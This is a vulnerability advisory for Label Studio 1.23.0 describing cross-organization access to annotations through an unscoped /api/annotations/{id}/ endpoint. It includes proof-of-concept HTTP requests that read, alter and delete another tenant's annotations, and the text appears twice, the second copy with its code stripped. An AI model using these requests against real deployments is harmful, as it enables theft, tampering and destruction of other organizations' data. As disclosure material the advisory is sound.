reported privately on 24 May 2026 but no response: https://github.com/HumanSignal/label-studio/security/advisories/GHSA-w4mg-6m8q-6723
Summary
Label Studio's AnnotationAPI class exposes the /api/annotations/{id}/ endpoint with an unfiltered queryset (Annotation.objects.all()). Any authenticated user, regardless of organization membership, can read, modify, and delete annotations belonging to other organizations by supplying the sequential integer annotation ID directly. The task-scoped endpoint (/api/tasks/{id}/) correctly enforces organization boundaries, but the annotation-direct endpoint does not, creating an exploitable discrepancy.
Details
Label Studio implements multi-organization tenancy: each project belongs to one organization, and users are members of specific organizations. The platform correctly restricts task access in TaskAPI.get_object() via:
Task.objects.filter(project__organization=self.request.user.active_organization)
However, AnnotationAPI at label_studio/tasks/api.py line 635 defines:
class AnnotationAPI(generics.RetrieveUpdateDestroyAPIView):
...
queryset = Annotation.objects.all()
There is no override of get_queryset() that scopes annotations to the requesting user's organization. DRF's default get_object() fetches the annotation by primary key from Annotation.objects.all() and only applies the view-level permission_required check, which resolves to rules.is_authenticated (any logged-in user passes). No object-level permission checks against organization membership are performed.
The same unscoped Annotation.objects.all() pattern also appears in AnnotationConvertAPI at line 1076 of the same file.
Because annotation IDs are sequential integers starting from 1, an attacker can enumerate all annotations across every organization by incrementing the ID.
Root cause file: label_studio/tasks/api.py, line 645.
PoC
Prerequisites: Two separate Label Studio organizations exist. Organization A has a project with annotations. The attacker has a valid session in Organization B (a different organization with no access to Organization A's data).
Step 1: Confirm that the task endpoint correctly blocks access (expected 404):
GET /api/tasks/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=<org_b_session>
HTTP/1.1 404 Not Found
{"detail":"No Task matches the given query."}
Step 2: Read Organization A's annotation directly (unexpected 200):
GET /api/annotations/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=<org_b_session>
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 1,
"result": [{"type": "choices", "value": {"choices": ["Positive"]}, ...}],
"created_username": " admin@org-a.com, 1",
"completed_by": 1,
"project": 1,
...
}
Step 3: Modify Organization A's annotation (unexpected 200):
PATCH /api/annotations/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=<org_b_session>
Content-Type: application/json
X-CSRFToken: <csrf_token>
{"result": [{"from_name": "label", "to_name": "text", "type": "choices", "value": {"choices": ["Negative"]}}]}
HTTP/1.1 200 OK
{"id": 1, "result": [{"from_name": "label", "to_name": "text", ...}], "updated_by": <org_b_user_id>, ...}
Step 4: Delete Organization A's annotation (unexpected 204):
DELETE /api/annotations/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=<org_b_session>
X-CSRFToken: <csrf_token>
HTTP/1.1 204 No Content
Verification: After deletion, the admin of Organization A sees:
GET /api/annotations/1/ HTTP/1.1
(Organization A session)
HTTP/1.1 404 Not Found
{"detail": "No Annotation matches the given query."}
Impact
Any authenticated user in any organization can:
- Read all annotation results (labeling decisions, model training data) from every organization on the Label Studio instance, including proprietary datasets used for competitive AI model training.
- Modify annotation results in other organizations' projects, corrupting training data and model quality metrics silently (the modification shows
updated_by as the attacker's user ID in a different org, which is not surfaced in standard UI views).
- Permanently delete annotations from other organizations' projects, causing irreversible data loss.
In multi-tenant SaaS deployments of Label Studio, this allows any subscriber to read, tamper with, and destroy all other subscribers' annotation work. The annotation IDs are sequential and easily enumerable.
affected version: 1.23.0
reported privately on 24 May 2026 but no response: https://github.com/HumanSignal/label-studio/security/advisories/GHSA-w4mg-6m8q-6723
Summary
Label Studio's
AnnotationAPIclass exposes the/api/annotations/{id}/endpoint with an unfiltered queryset (Annotation.objects.all()). Any authenticated user, regardless of organization membership, can read, modify, and delete annotations belonging to other organizations by supplying the sequential integer annotation ID directly. The task-scoped endpoint (/api/tasks/{id}/) correctly enforces organization boundaries, but the annotation-direct endpoint does not, creating an exploitable discrepancy.Details
Label Studio implements multi-organization tenancy: each project belongs to one organization, and users are members of specific organizations. The platform correctly restricts task access in
TaskAPI.get_object()via:However,
AnnotationAPIatlabel_studio/tasks/api.pyline 635 defines:There is no override of
get_queryset()that scopes annotations to the requesting user's organization. DRF's defaultget_object()fetches the annotation by primary key fromAnnotation.objects.all()and only applies the view-levelpermission_requiredcheck, which resolves torules.is_authenticated(any logged-in user passes). No object-level permission checks against organization membership are performed.The same unscoped
Annotation.objects.all()pattern also appears inAnnotationConvertAPIat line 1076 of the same file.Because annotation IDs are sequential integers starting from 1, an attacker can enumerate all annotations across every organization by incrementing the ID.
Root cause file:
label_studio/tasks/api.py, line 645.PoC
Prerequisites: Two separate Label Studio organizations exist. Organization A has a project with annotations. The attacker has a valid session in Organization B (a different organization with no access to Organization A's data).
Step 1: Confirm that the task endpoint correctly blocks access (expected 404):
Step 2: Read Organization A's annotation directly (unexpected 200):
Step 3: Modify Organization A's annotation (unexpected 200):
Step 4: Delete Organization A's annotation (unexpected 204):
Verification: After deletion, the admin of Organization A sees:
Impact
Any authenticated user in any organization can:
updated_byas the attacker's user ID in a different org, which is not surfaced in standard UI views).In multi-tenant SaaS deployments of Label Studio, this allows any subscriber to read, tamper with, and destroy all other subscribers' annotation work. The annotation IDs are sequential and easily enumerable.
affected version: 1.23.0